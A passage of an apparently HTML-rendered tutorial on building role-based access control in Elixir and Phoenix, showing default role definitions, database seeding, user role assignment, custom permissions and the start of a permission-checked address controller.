&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;all&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;        &lt;span style=&quot;color: #79c0ff;&quot;&gt;name: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Invoice Admin&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;        &lt;span style=&quot;color: #79c0ff;&quot;&gt;permissions: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;          &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;invoices&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;create&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;read&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;update&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;delete&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;        &lt;span style=&quot;color: #79c0ff;&quot;&gt;name: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Customer Support Admin&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;        &lt;span style=&quot;color: #79c0ff;&quot;&gt;permissions: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;          &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;invoices&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;read&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;          &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;addresses&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;read&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;delete&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;        &lt;span style=&quot;color: #79c0ff;&quot;&gt;name: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Customer Support Employee&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;        &lt;span style=&quot;color: #79c0ff;&quot;&gt;permissions: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;          &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;addresses&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;read&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;24&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;25&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Our &lt;code&gt;DefaultRoles&lt;/code&gt; module defines three roles with which we&apos;ll seed our database. The &lt;code&gt;Invoice Admin&lt;/code&gt; role has access to all &lt;code&gt;invoices&lt;/code&gt; and any user who has that role can create, read, update, and delete invoices. An &lt;code&gt;Invoice Admin&lt;/code&gt; doesn&apos;t have access to the &lt;code&gt;addresses&lt;/code&gt; in the system, but a &lt;code&gt;Customer Support Admin&lt;/code&gt; does. The &lt;code&gt;Customer Support Admin&lt;/code&gt; can only &lt;code&gt;read&lt;/code&gt; invoices, but not create, update, or delete them. Our &lt;code&gt;Customer Support Employee&lt;/code&gt; has no access to invoices and can only read the user&apos;s address.&lt;/p&gt;
&lt;p&gt;You see that we can use the RAP to define specific roles that mirror the &quot;real-world&quot; roles of our users. We can further fine-tune each role by defining its permissions and the actions it can take on the resources connected to the permissions. Usually, our permissions are 1-to-1 related to the resources of our system. You can create composite permissions which allow access to multiple resources, but it&apos;s not advised. You would lose granularity and add more complexity to your RAP system.&lt;/p&gt;
&lt;p&gt;Okay, this is all nice and well, but how do you use it?&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#use-the-rap&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;use-the-rap&quot;&gt;&lt;/a&gt;Use the RAP&lt;/h2&gt;
&lt;p&gt;The first step of adding the RAP to your system is to seed its default roles to our database. In our &lt;code&gt;seeds.exs&lt;/code&gt; file, we&apos;ll add:&lt;/p&gt;
&lt;pre id=&quot;code-block-5&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;role&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;&lt;-&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;RAP.DefaultRoles&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;all&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;unless&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;RAP&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;get_role_by_name&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;role&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;_role&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;RAP&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;create_role&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;role&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This checks that our default roles exist in the database whenever we start our application. Now, we can strat assigning the roles to individual users, like this:&lt;/p&gt;
&lt;pre id=&quot;code-block-6&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;RAP.Users&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;add_role_to_user&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;user&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;role_name&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;with&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;role&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;&lt;-&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;get_role_by_name&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;role_name&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;      &lt;span style=&quot;color: #d2a8ff;&quot;&gt;update_user&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;user&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;role_id: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;role&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If a user needs additional permissions, we can add them to the user&apos;s &lt;code&gt;custom_permissions&lt;/code&gt; like this:&lt;/p&gt;
&lt;pre id=&quot;code-block-7&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;RAP.Users&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;# add_role_to_user/2&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;add_custom_permission_to_user&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;user&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;actions&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;custom_permissions&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Map&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;put&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;user&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;custom_permissions&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;actions&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;update_user&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;user&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;custom_permissions&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;custom_permissions&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;From now on, the user will have a certain role and custom permissions! Easy peasy.&lt;/p&gt;
&lt;p&gt;But how can we use these to achieve our actual goal, &lt;code&gt;Access Control&lt;/code&gt;? Let&apos;s create a Phoenix controller for our addresses and find out!&lt;/p&gt;
&lt;pre id=&quot;code-block-8&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;RAPWeb.AddressController&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;use&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;RAPWeb&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:controller&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;plug&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;RAPWeb.Plugs.CheckPermissions&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;actions: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;index: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;addresses&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;read&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;show: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;addresses&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;read&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;delete: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;addresses&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;delete&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;index&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;_params_&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;    &lt;span style=&quot;color: #8b949e;&quot;&gt;# Fetch and return all addresses&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;show&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;id&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;address_id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;    &lt;span style=&quot;color: #8b949e;&quot;&gt;# Fetch and return address&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;
